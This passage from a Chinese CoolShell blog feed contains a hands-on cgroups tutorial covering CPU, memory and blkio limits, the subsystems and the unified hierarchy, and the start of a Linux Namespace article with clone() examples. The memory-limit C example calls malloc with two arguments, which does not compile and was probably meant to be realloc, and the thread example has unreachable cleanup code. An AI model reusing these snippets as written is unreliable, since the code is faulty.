/sys/fs/cgroup/net_cls\nnet_prio /sys/fs/cgroup/net_prio\nperf_event /sys/fs/cgroup/perf_event\nhugetlb /sys/fs/cgroup/hugetlb</pre>\n<p>我们可以看到，在/sys/fs下有一个cgroup的目录，这个目录下还有很多子目录，比如： cpu，cpuset，memory，blkio……这些，这些都是cgroup的子系统。分别用于干不同的事的。</p>\n<p>如果你没有看到上述的目录，你可以自己mount，下面给了一个示例：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">mkdir cgroup\nmount -t tmpfs cgroup_root ./cgroup\nmkdir cgroup/cpuset\nmount -t cgroup -ocpuset cpuset ./cgroup/cpuset/\nmkdir cgroup/cpu\nmount -t cgroup -ocpu cpu ./cgroup/cpu/\nmkdir cgroup/memory\nmount -t cgroup -omemory memory ./cgroup/memory/</pre>\n<p>一旦mount成功，你就会看到这些目录下就有好文件了，比如，如下所示的cpu和cpuset的子系统：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">hchen@ubuntu:~$ ls /sys/fs/cgroup/cpu /sys/fs/cgroup/cpuset/ \n/sys/fs/cgroup/cpu:\ncgroup.clone_children  cgroup.sane_behavior  cpu.shares         release_agent\ncgroup.event_control   cpu.cfs_period_us     cpu.stat           tasks\ncgroup.procs           cpu.cfs_quota_us      notify_on_release  user\n\n/sys/fs/cgroup/cpuset/:\ncgroup.clone_children  cpuset.mem_hardwall             cpuset.sched_load_balance\ncgroup.event_control   cpuset.memory_migrate           cpuset.sched_relax_domain_level\ncgroup.procs           cpuset.memory_pressure          notify_on_release\ncgroup.sane_behavior   cpuset.memory_pressure_enabled  release_agent\ncpuset.cpu_exclusive   cpuset.memory_spread_page       tasks\ncpuset.cpus            cpuset.memory_spread_slab       user\ncpuset.mem_exclusive   cpuset.mems</pre>\n<p>你可以到/sys/fs/cgroup的各个子目录下去make个dir，你会发现，一旦你创建了一个子目录，这个子目录里又有很多文件了。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">hchen@ubuntu:/sys/fs/cgroup/cpu$ sudo mkdir haoel\n[sudo] password for hchen: \nhchen@ubuntu:/sys/fs/cgroup/cpu$ ls ./haoel\ncgroup.clone_children  cgroup.procs       cpu.cfs_quota_us  cpu.stat           tasks\ncgroup.event_control   cpu.cfs_period_us  cpu.shares        notify_on_release</pre>\n<p>好了，我们来看几个示例。</p>\n<h4>CPU 限制</h4>\n<p>假设，我们有一个非常吃CPU的程序，叫deadloop，其源码如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int main(void)\n{\n    int i = 0;\n    for(;;) i++;\n    return 0;\n}</pre>\n<p>用sudo执行起来后，毫无疑问，CPU被干到了100%（下面是top命令的输出）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND     \n 3529 root      20   0    4196    736    656 R 99.6  0.1   0:23.13 deadloop   </pre>\n<p>然后，我们这前不是在/sys/fs/cgroup/cpu下创建了一个haoel的group。我们先设置一下这个group的cpu利用的限制：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">hchen@ubuntu:~# cat /sys/fs/cgroup/cpu/haoel/cpu.cfs_quota_us \n-1\nroot@ubuntu:~# echo 20000 &gt; /sys/fs/cgroup/cpu/haoel/cpu.cfs_quota_us</pre>\n<p>我们看到，这个进程的PID是3529，我们把这个进程加到这个cgroup中：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># echo 3529 &gt;&gt; /sys/fs/cgroup/cpu/haoel/tasks</code></p>\n<p>然后，就会在top中看到CPU的利用立马下降成20%了。（前面我们设置的20000就是20%的意思）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND     \n 3529 root      20   0    4196    736    656 R 19.9  0.1   8:06.11 deadloop    </pre>\n<p>下面的代码是一个线程的示例：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#define _GNU_SOURCE         /* See feature_test_macros(7) */\n\n#include &lt;pthread.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;sys/stat.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys/syscall.h&gt;\n\n\nconst int NUM_THREADS = 5;\n\nvoid *thread_main(void *threadid)\n{\n    /* 把自己加入cgroup中（syscall(SYS_gettid)为得到线程的系统tid） */\n    char cmd[128];\n    sprintf(cmd, &quot;echo %ld &gt;&gt; /sys/fs/cgroup/cpu/haoel/tasks&quot;, syscall(SYS_gettid));\n    system(cmd); \n    sprintf(cmd, &quot;echo %ld &gt;&gt; /sys/fs/cgroup/cpuset/haoel/tasks&quot;, syscall(SYS_gettid));\n    system(cmd);\n\n    long tid;\n    tid = (long)threadid;\n    printf(&quot;Hello World! It&#039;s me, thread #%ld, pid #%ld!\\n&quot;, tid, syscall(SYS_gettid));\n    \n    int a=0; \n    while(1) {\n        a++;\n    }\n    pthread_exit(NULL);\n}\nint main (int argc, char *argv[])\n{\n    int num_threads;\n    if (argc &gt; 1){\n        num_threads = atoi(argv[1]);\n    }\n    if (num_threads&lt;=0 || num_threads&gt;=100){\n        num_threads = NUM_THREADS;\n    }\n\n    /* 设置CPU利用率为50% */\n    mkdir(&quot;/sys/fs/cgroup/cpu/haoel&quot;, 755);\n    system(&quot;echo 50000 &gt; /sys/fs/cgroup/cpu/haoel/cpu.cfs_quota_us&quot;);\n\n    mkdir(&quot;/sys/fs/cgroup/cpuset/haoel&quot;, 755);\n    /* 限制CPU只能使用#2核和#3核 */\n    system(&quot;echo \\&quot;2,3\\&quot; &gt; /sys/fs/cgroup/cpuset/haoel/cpuset.cpus&quot;);\n\n    pthread_t* threads = (pthread_t*) malloc (sizeof(pthread_t)*num_threads);\n    int rc;\n    long t;\n    for(t=0; t&lt;num_threads; t++){\n        printf(&quot;In main: creating thread %ld\\n&quot;, t);\n        rc = pthread_create(&amp;threads[t], NULL, thread_main, (void *)t);\n        if (rc){\n            printf(&quot;ERROR; return code from pthread_create() is %d\\n&quot;, rc);\n            exit(-1);\n        }\n    }\n\n    /* Last thing that main() should do */\n    pthread_exit(NULL);\n    free(threads);\n}\n</pre>\n<h4>内存使用限制</h4>\n<p>我们再来看一个限制内存的例子（下面的代码是个死循环，其它不断的分配内存，每次512个字节，每次休息一秒）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\n\nint main(void)\n{\n    int size = 0;\n    int chunk_size = 512;\n    void *p = NULL;\n\n    while(1) {\n\n        if ((p = malloc(p, chunk_size)) == NULL) {\n            printf(&quot;out of memory!!\\n&quot;);\n            break;\n        }\n        memset(p, 1, chunk_size);\n        size += chunk_size;\n        printf(&quot;[%d] - memory is allocated [%8d] bytes \\n&quot;, getpid(), size);\n        sleep(1);\n    }\n    return 0;\n}</pre>\n<p>然后，在我们另外一边：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># 创建memory cgroup\n$ mkdir /sys/fs/cgroup/memory/haoel\n$ echo 64k &gt; /sys/fs/cgroup/memory/haoel/memory.limit_in_bytes\n\n# 把上面的进程的pid加入这个cgroup\n$ echo [pid] &gt; /sys/fs/cgroup/memory/haoel/tasks </pre>\n<p>你会看到，一会上面的进程就会因为内存问题被kill掉了。</p>\n<h4>磁盘I/O限制</h4>\n<p>我们先看一下我们的硬盘IO，我们的模拟命令如下：（从/dev/sda1上读入数据，输出到/dev/null上）</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">sudo dd if=/dev/sda1 of=/dev/null</code></p>\n<p>我们通过iotop命令我们可以看到相关的IO速度是55MB/s（虚拟机内）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">  TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN     IO&gt;    COMMAND          \n 8128 be/4 root       55.74 M/s    0.00 B/s  0.00 % 85.65 % dd if=/de~=/dev/null...</pre>\n<p>然后，我们先创建一个blkio（块设备IO）的cgroup</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">mkdir /sys/fs/cgroup/blkio/haoel</code></p>\n<p>并把读IO限制到1MB/s，并把前面那个dd命令的pid放进去（注：8:0 是设备号，你可以通过ls -l /dev/sda1获得）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">root@ubuntu:~# echo &#039;8:0 1048576&#039;  &gt; /sys/fs/cgroup/blkio/haoel/blkio.throttle.read_bps_device \nroot@ubuntu:~# echo 8128 &gt; /sys/fs/cgroup/blkio/haoel/tasks</pre>\n<p>再用iotop命令，你马上就能看到读速度被限制到了1MB/s左右。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">  TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN     IO&gt;    COMMAND          \n 8128 be/4 root      973.20 K/s    0.00 B/s  0.00 % 94.41 % dd if=/de~=/dev/null...</pre>\n<h4>CGroup的子系统</h4>\n<p>好了，有了以上的感性认识我们来，我们来看看control group有哪些子系统：</p>\n<ul>\n<li>blkio &#8212; 这​​​个​​​子​​​系​​​统​​​为​​​块​​​设​​​备​​​设​​​定​​​输​​​入​​​/输​​​出​​​限​​​制​​​，比​​​如​​​物​​​理​​​设​​​备​​​（磁​​​盘​​​，固​​​态​​​硬​​​盘​​​，USB 等​​​等​​​）。</li>\n<li>cpu &#8212; 这​​​个​​​子​​​系​​​统​​​使​​​用​​​调​​​度​​​程​​​序​​​提​​​供​​​对​​​ CPU 的​​​ cgroup 任​​​务​​​访​​​问​​​。​​​</li>\n<li>cpuacct &#8212; 这​​​个​​​子​​​系​​​统​​​自​​​动​​​生​​​成​​​ cgroup 中​​​任​​​务​​​所​​​使​​​用​​​的​​​ CPU 报​​​告​​​。​​​</li>\n<li>cpuset &#8212; 这​​​个​​​子​​​系​​​统​​​为​​​ cgroup 中​​​的​​​任​​​务​​​分​​​配​​​独​​​立​​​ CPU（在​​​多​​​核​​​系​​​统​​​）和​​​内​​​存​​​节​​​点​​​。​​​</li>\n<li>devices &#8212; 这​​​个​​​子​​​系​​​统​​​可​​​允​​​许​​​或​​​者​​​拒​​​绝​​​ cgroup 中​​​的​​​任​​​务​​​访​​​问​​​设​​​备​​​。​​​</li>\n<li>freezer &#8212; 这​​​个​​​子​​​系​​​统​​​挂​​​起​​​或​​​者​​​恢​​​复​​​ cgroup 中​​​的​​​任​​​务​​​。​​​</li>\n<li>memory &#8212; 这​​​个​​​子​​​系​​​统​​​设​​​定​​​ cgroup 中​​​任​​​务​​​使​​​用​​​的​​​内​​​存​​​限​​​制​​​，并​​​自​​​动​​​生​​​成​​​​​内​​​存​​​资​​​源使用​​​报​​​告​​​。​​​</li>\n<li>net_cls &#8212; 这​​​个​​​子​​​系​​​统​​​使​​​用​​​等​​​级​​​识​​​别​​​符​​​（classid）标​​​记​​​网​​​络​​​数​​​据​​​包​​​，可​​​允​​​许​​​ Linux 流​​​量​​​控​​​制​​​程​​​序​​​（tc）识​​​别​​​从​​​具​​​体​​​ cgroup 中​​​生​​​成​​​的​​​数​​​据​​​包​​​。​​​</li>\n<li>net_prio &#8212; 这个子系统用来设计网络流量的优先级</li>\n<li>hugetlb &#8212; 这个子系统主要针对于HugeTLB系统进行限制，这是一个大页文件系统。</li>\n<p>​​​</ul>\n<p>注意，你可能在Ubuntu 14.04下看不到net_cls和net_prio这两个cgroup，你需要手动mount一下：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sudo modprobe cls_cgroup\n$ sudo mkdir /sys/fs/cgroup/net_cls\n$ sudo mount -t cgroup -o net_cls none /sys/fs/cgroup/net_cls\n\n$ sudo modprobe netprio_cgroup\n$ sudo mkdir /sys/fs/cgroup/net_prio\n$ sudo mount -t cgroup -o net_prio none /sys/fs/cgroup/net_prio</pre>\n<p>关于各个子系统的参数细节，以及更多的Linux CGroup的文档，你可以看看下面的文档：</p>\n<ul>\n<li><a href=\"https://www.kernel.org/doc/Documentation/cgroups/\" target=\"_blank\">Linux Kernel的官方文档</a></li>\n<li><a href=\"https://access.redhat.com/documentation/zh-CN/Red_Hat_Enterprise_Linux/6/html-single/Resource_Management_Guide/index.html#ch-Subsystems_and_Tunable_Parameters\" target=\"_blank\">Redhat的官方文档</a></li>\n</ul>\n<h4>CGroup的术语</h4>\n<p>CGroup有下述术语：</p>\n<ul>\n<li><strong>任务（Tasks）</strong>：就是系统的一个进程。</li>\n<li><strong>控制组（Control Group）</strong>：一组按照某种标准划分的进程，比如官方文档中的Professor和Student，或是WWW和System之类的，其表示了某进程组。Cgroups中的资源控制都是以控制组为单位实现。一个进程可以加入到某个控制组。而资源的限制是定义在这个组上，就像上面示例中我用的haoel一样。简单点说，cgroup的呈现就是一个目录带一系列的可配置文件。</li>\n<li><strong>层级（Hierarchy）</strong>：控制组可以组织成hierarchical的形式，既一颗控制组的树（目录结构）。控制组树上的子节点继承父结点的属性。简单点说，hierarchy就是在一个或多个子系统上的cgroups目录树。</li>\n<li><strong>子系统（Subsystem）</strong>：一个子系统就是一个资源控制器，比如CPU子系统就是控制CPU时间分配的一个控制器。子系统必须附加到一个层级上才能起作用，一个子系统附加到某个层级以后，这个层级上的所有控制族群都受到这个子系统的控制。Cgroup的子系统可以有很多，也在不断增加中。</li>\n</ul>\n<h4>下一代的CGroup</h4>\n<p>上面，我们可以看到，CGroup的一些常用方法和相关的术语。一般来说，这样的设计在一般情况下还是没什么问题的，除了操作上的用户体验不是很好，但基本满足我们的一般需求了。</p>\n<p>不过，对此，有个叫Tejun Heo的同学非常不爽，他在Linux社区里<a href=\"https://lwn.net/Articles/484254/\" target=\"_blank\">对cgroup吐了一把槽</a>，还引发了内核组的各种讨论。</p>\n<p>对于Tejun Heo同学来说，cgroup设计的相当糟糕。他给出了些例子，大意就是说，如果有多种层级关系，也就是说有多种对进程的分类方式，比如，我们可以按用户来分，分成Professor和Student，同时，也有按应用类似来分的，比如WWW和NFS等。那么，当一个进程即是Professor的，也是WWW的，那么就会出现多层级正交的情况，从而出现对进程上管理的混乱。另外，一个case是，如果有一个层级A绑定cpu，而层级B绑定memory，还有一个层级C绑定cputset，而有一些进程有的需要AB，有的需要AC，有的需要ABC，管理起来就相当不易。 </p>\n<p>层级操作起来比较麻烦，而且如果层级变多，更不易于操作和管理，虽然那种方式很好实现，但是在使用上有很多的复杂度。你可以想像一个图书馆的图书分类问题，你可以有各种不同的分类，分类和图书就是一种多对多的关系。</p>\n<p>所以，在Kernel 3.16后，引入了<a href=\"http://lwn.net/Articles/601840/\" target=\"_blank\">unified hierarchy</a>的新的设计，这个东西引入了一个叫<strong>__DEVEL__sane_behavior</strong>的特性（这个名字很明显意味目前还在开发试验阶段），它可以把所有子系统都挂载到根层级下，只有叶子节点可以存在tasks，非叶子节点只进行资源控制。</p>\n<p>我们mount一下看看：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sudo mount -t cgroup -o __DEVEL__sane_behavior cgroup ./cgroup\n\n$ ls ./cgroup\ncgroup.controllers  cgroup.procs  cgroup.sane_behavior  cgroup.subtree_control \n\n$ cat ./cgroup/cgroup.controllers\ncpuset cpu cpuacct memory devices freezer net_cls blkio perf_event net_prio hugetlb</pre>\n<p>我们可以看到有四个文件，然后，你在这里mkdir一个子目录，里面也会有这四个文件。<strong>上级的cgroup.subtree_control控制下级的cgroup.controllers。</strong></p>\n<p>举个例子：假设我们有以下的目录结构，b代表blkio，m代码memory，其中，A是root，包括所有的子系统（）。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n# A(b,m) - B(b,m) - C (b)\n#               \\ - D (b) - E\n\n# 下面的命令中， +表示enable， -表示disable\n\n# 在B上的enable blkio\n# echo +blkio &gt; A/cgroup.subtree_control\n\n# 在C和D上enable blkio \n# echo +blkio &gt; A/B/cgroup.subtree_control\n\n# 在B上enable memory  \n# echo +memory &gt; A/cgroup.subtree_control</pre>\n<p>在上述的结构中，</p>\n<ul>\n<li>cgroup只有上线控制下级，无法传递到下下级。所以，C和D中没有memory的限制，E中没有blkio和memory的限制。而本层的cgroup.controllers文件是个只读的，其中的内容就看上级的subtree_control里有什么了。</li>\n<li><strong>任何被配置过subtree_control的目录都不能绑定进程，根结点除外</strong>。所以，A,C,D,E可以绑上进程，但是B不行。</li>\n</ul>\n<p>我们可以看到，<strong>这种方式干净的区分开了两个事，一个是进程的分组，一个是对分组的资源控制</strong>（以前这两个事完全混在一起），在目录继承上增加了些限制，这样可以避免一些模棱两可的情况。</p>\n<p>当然，这个事还在演化中，cgroup的这些问题这个事目前由cgroup的吐槽人Tejun Heo和华为的Li Zefan同学负责解决中。总之，这是一个系统管理上的问题，而且改变会影响很多东西，但一旦方案确定，老的cgroup方式将一去不复返。</p>\n<h4>参考</h4>\n<ul>\n<li><a href=\"https://www.kernel.org/doc/Documentation/cgroups/\" target=\"_blank\">Linux Kernel Cgroup Documents</a></li>\n<li><a href=\"https://access.redhat.com/documentation/zh-CN/Red_Hat_Enterprise_Linux/6/html-single/Resource_Management_Guide/index.html\" target=\"_blank\">Reahat Resource Management Guide</a></li>\n<li><a href=\"https://lwn.net/Articles/484251/\" target=\"_blank\">Fixing control groups</a></li>\n<li><a href=\"http://lwn.net/Articles/601840/\" target=\"_blank\">The unified control group hierarchy in 3.16</a></li>\n<li><a href=\"http://events.linuxfoundation.org/sites/events/files/slides/2014-KLF.pdf\" target=\"_blank\">Cgroup v2(PDF)</a></li>\n</ul>\n<p>（全文完）<br />\n<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/17200.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg\" alt=\"Docker基础技术：DeviceMapper\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17200.html\" class=\"wp_rp_title\">Docker基础技术：DeviceMapper</a></li><li ><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" alt=\"Docker基础技术：AUFS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_title\">Docker基础技术：AUFS</a></li><li ><a href=\"https://coolshell.cn/articles/17010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/isolation-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17010.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（上）</a></li><li ><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/jail_cell-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（下）</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17049.html\">Docker基础技术：Linux CGroup</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17049.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>87</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Docker基础技术：Linux Namespace（上）</title>\n\t\t<link>https://coolshell.cn/articles/17010.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17010.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 16 Apr 2015 02:20:08 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[Docker]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Mount]]></category>\n\t\t<category><![CDATA[Namespace]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17010</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>时下最热的技术莫过于Docker了，很多人都觉得Docker是个新技术，其实不然，Docker除了其编程语言用go比较新外，其实它还真不是个新东西，也就是个新瓶...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17010.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17010.html\">Docker基础技术：Linux Namespace（上）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-17085\" src=\"https://coolshell.cn/wp-content/uploads/2015/04/isolation.jpg\" alt=\"isolation\" width=\"359\" height=\"237\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/04/isolation.jpg 359w, https://coolshell.cn/wp-content/uploads/2015/04/isolation-300x198.jpg 300w\" sizes=\"(max-width: 359px) 100vw, 359px\" />时下最热的技术莫过于Docker了，很多人都觉得Docker是个新技术，其实不然，Docker除了其编程语言用go比较新外，其实它还真不是个新东西，也就是个新瓶装旧酒的东西，所谓的The New &#8220;Old Stuff&#8221;。Docker和Docker衍生的东西用到了很多很酷的技术，我会用几篇 文章来把这些技术给大家做个介绍，希望通过这些文章大家可以自己打造一个山寨版的docker。</p>\n<p>当然，文章的风格一定会尊重时下的“流行”——<strong>我们再也没有整块整块的时间去看书去专研，而我们只有看微博微信那样的碎片时间</strong>（那怕我们有整块的时间，也被那些在手机上的APP碎片化了）。所以，这些文章的风格必然坚持“马桶风格”（希望简单到占用你拉一泡屎就时间，而且你还不用动脑子，并能学到些东西）</p>\n<p>废话少说，我们开始。先从Linux Namespace开始。</p>\n<h4> 简介</h4>\n<p>Linux Namespace是Linux提供的一种内核级别环境隔离的方法。不知道你是否还记得很早以前的Unix有一个叫chroot的系统调用（通过修改根目录把用户jail到一个特定目录下），chroot提供了一种简单的隔离模式：chroot内部的文件系统无法访问外部的内容。Linux Namespace在此基础上，提供了对UTS、IPC、mount、PID、network、User等的隔离机制。</p>\n<p><span id=\"more-17010\"></span></p>\n<p>举个例子，我们都知道，Linux下的超级父亲进程的PID是1，所以，同chroot一样，如果我们可以把用户的进程空间jail到某个进程分支下，并像chroot那样让其下面的进程 看到的那个超级父进程的PID为1，于是就可以达到资源隔离的效果了（不同的PID namespace中的进程无法看到彼此）</p>\n<p><b>Linux Namespace 有如下种类</b>，官方文档在这里《<a href=\"http://lwn.net/Articles/531114/\" target=\"_blank\" rel=\"noopener noreferrer\">Namespace in Operation</a>》</p>\n<table width=\"100%\">\n<thead>\n<tr>\n<th>分类</th>\n<th>系统调用参数</th>\n<th>相关内核版本</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><b>Mount namespaces</b></td>\n<td>CLONE_NEWNS</td>\n<td><a href=\"http://lwn.net/2001/0301/a/namespaces.php3\" target=\"_blank\" rel=\"noopener noreferrer\">Linux 2.4.19</a></td>\n</tr>\n<tr>\n<td><b>UTS namespaces</b></td>\n<td>CLONE_NEWUTS</td>\n<td><a href=\"http://lwn.net/Articles/179345/\" target=\"_blank\" rel=\"noopener noreferrer\">Linux 2.6.19</a></td>\n</tr>\n<tr>\n<td><b>IPC namespaces</b></td>\n<td>CLONE_NEWIPC</td>\n<td><a href=\"http://lwn.net/Articles/187274/\" target=\"_blank\" rel=\"noopener noreferrer\">Linux 2.6.19</a></td>\n</tr>\n<tr>\n<td><b>PID namespaces</b></td>\n<td>CLONE_NEWPID</td>\n<td><a href=\"http://lwn.net/Articles/259217/\" target=\"_blank\" rel=\"noopener noreferrer\">Linux 2.6.24</a></td>\n</tr>\n<tr>\n<td><b>Network namespaces</b></td>\n<td>CLONE_NEWNET</td>\n<td><a href=\"http://lwn.net/Articles/219794/\" target=\"_blank\" rel=\"noopener noreferrer\">始于Linux 2.6.24 完成于 Linux 2.6.29</a></td>\n</tr>\n<tr>\n<td><b>User namespaces</b></td>\n<td>CLONE_NEWUSER</td>\n<td><a href=\"http://lwn.net/Articles/528078/\" target=\"_blank\" rel=\"noopener noreferrer\">始于 Linux 2.6.23 完成于 Linux 3.8)</a></td>\n</tr>\n</tbody>\n</table>\n<p>主要是三个系统调用</p>\n<ul>\n<li><b><code>clone</code></b><b>() </b>&#8211; 实现线程的系统调用，用来创建一个新的进程，并可以通过设计上述参数达到隔离。</li>\n<li><b><code>unshare</code></b><b>() </b>&#8211; 使某进程脱离某个namespace</li>\n<li><b><code>setns</code></b><b>() </b>&#8211; 把某进程加入到某个namespace</li>\n</ul>\n<p>unshare() 和 setns() 都比较简单，大家可以自己man，我这里不说了。</p>\n<p>下面还是让我们来看一些示例（以下的测试程序最好在Linux 内核为3.8以上的版本中运行，我用的是ubuntu 14.04）。</p>\n<h4>clone()系统调用</h4>\n<p>首先，我们来看一下一个最简单的clone()系统调用的示例，（后面，我们的程序都会基于这个程序做修改）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">#define _GNU_SOURCE\n#include &lt;sys/types.h&gt;\n#include &lt;sys/wait.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;sched.h&gt;\n#include &lt;signal.h&gt;\n#include &lt;unistd.h&gt;\n\n/* 定义一个给 clone 用的栈，栈大小1M */\n#define STACK_SIZE (1024 * 1024)\nstatic char container_stack[STACK_SIZE];\n\nchar* const container_args[] = {\n    \"/bin/bash\",\n    NULL\n};\n\nint container_main(void* arg)\n{\n    printf(\"Container - inside the container!\\n\");\n    /* 直接执行一个shell，以便我们观察这个进程空间里的资源是否被隔离了 */\n    execv(container_args[0], container_args); \n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent - start a container!\\n\");\n    /* 调用clone函数，其中传出一个函数，还有一个栈空间的（为什么传尾指针，因为栈是反着的） */\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, SIGCHLD, NULL);\n    /* 等待子进程结束 */\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}</pre>\n<p>从上面的程序，我们可以看到，这和pthread基本上是一样的玩法。但是，对于上面的程序，父子进程的进程空间是没有什么差别的，父进程能访问到的子进程也能。</p>\n<p>下面， 让我们来看几个例子看看，Linux的Namespace是什么样的。</p>\n<h4>UTS Namespace</h4>\n<p>下面的代码，我略去了上面那些头文件和数据结构的定义，只有最重要的部分。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-highlight=\"4,14\">int container_main(void* arg)\n{\n    printf(\"Container - inside the container!\\n\");\n    sethostname(\"container\",10); /* 设置hostname */\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent - start a container!\\n\");\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | SIGCHLD, NULL); /*启用CLONE_NEWUTS Namespace隔离 */\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}</pre>\n<pre>运行上面的程序你会发现（需要root权限），子进程的hostname变成了 container。</pre>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">hchen@ubuntu:~$ sudo ./uts\nParent - start a container!\nContainer - inside the container!\nroot@container:~# 